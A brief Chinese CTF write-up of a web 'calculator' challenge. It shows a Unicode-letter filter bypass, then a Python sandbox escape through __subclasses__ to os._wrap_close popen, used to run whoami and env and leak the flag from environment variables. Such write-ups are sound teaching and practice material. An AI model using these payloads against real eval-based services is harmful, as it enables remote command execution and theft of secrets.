【Web】京麒CTF2025 wp(签到题)

计算器

删去disable字段

 现在就可以自定义输入了

 如下输入得到/flag的输出

𝒈𝒆𝒕a𝒕𝒕𝒓(𝒔𝒕𝒓(),𝒈𝒆𝒕a𝒕𝒕𝒓(𝒔𝒕𝒓(),𝒎a𝒙(𝒅𝒊c𝒕(𝒋𝒐𝒊𝒏=())))(𝒎a𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎a𝒑(𝒄𝒉𝒓,[47,102,108,97,103]))

说明后端是进行了个eval处理

那就秒了

"".__class__.__bases__[0]. __subclasses__()

os._wrap_close在134个（即133）

成功rce

"".__class__.__bases__[0]. __subclasses__()[133].__init__.__globals__['popen']('whoami').read()

 最后flag在环境变量中

"".__class__.__bases__[0]. __subclasses__()[133].__init__.__globals__['popen']('env').read()